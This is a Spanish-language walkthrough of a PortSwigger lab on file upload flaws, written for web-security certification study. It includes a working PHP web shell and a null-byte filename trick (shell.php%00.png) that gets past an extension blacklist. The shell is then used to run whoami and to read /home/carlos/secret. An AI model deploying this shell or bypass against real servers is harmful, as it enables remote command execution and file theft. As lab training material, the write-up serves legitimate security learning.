Web shell upload via obfuscated file extension
Laboratorio de Portswigger sobre File Upload Vulnerabilities
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio contiene una función de carga de imágenes vulnerable, ciertas extensiones de archivo están blacklisteadas, pero esta defensa puede ser eludida usando una clásica técnica de ofuscación. Para resolver el laboratorio, debemos subir una web shell básica en PHP, utilizarla para extraer el contenido del archivo /home/carlos/secret y enviar este secreto utilizando el botón proporcionado en la barra del laboratorio. Podemos iniciar sesión con nuestra propia cuenta utilizando las siguientes credenciales: wiener:peter
Resolución
Al acceder a la web nos sale esto
Pulsamos en My account e iniciamos sesión con las credenciales wiener:peter
Vemos que existe un campo de subida de archivos
Si inspeccionamos con donde se aloja la imagen vemos que es en la ruta /resources/images
Nos creamos un archivo llamado shell.php y lo subimos
1
2
3
<?php
echo "<pre>" . system($_REQUEST['cmd']) . "</pre>";
?>
Al subir el archivo nos sale un error
Subimos el archivo nuevamente y capturamos la petición con Burpsuite, el payload va a ser shell.php%00.png, las versiones de php inferiores a la 5.4 son vulnerables a null byte injection %00, lo que hace que ignore lo que hay detrás de él y no se interprete
1
2
3
4
5
6
Content-Disposition: form-data; name="avatar"; filename="shell.php%00.png"
Content-Type: application/x-php
<?php
echo "<pre>" . system($_REQUEST['cmd']) . "</pre>";
?>
Vemos que el archivo php se ha subido correctamente y que seha subido con el nombre shell.php ignorando lo que hay detrás del null byte %00
Abrimos nuevamente el inspector de chrome y vemos que el archivo subido se aloja en /files/avatars
Si accedemos a https://0a8000880480dca9801485ed00820059.web-security-academy.net/files/avatars/shell.php%00.png?cmd=whoami vemos que nos da un error
Sin embargo, sin accedemos a https://0a8000880480dca9801485ed00820059.web-security-academy.net/files/avatars/shell.php?cmd=whoami vemos que nos ejecuta el comando
Listamos el contenido de la home de carlos https://0a8000880480dca9801485ed00820059.web-security-academy.net/files/avatars/shell.php?cmd=ls%20/home/carlos
Obtenemos el contenido del archivo secret https://0a8000880480dca9801485ed00820059.web-security-academy.net/files/avatars/shell.php?cmd=cat%20/home/carlos/secret
Submiteamos la solución












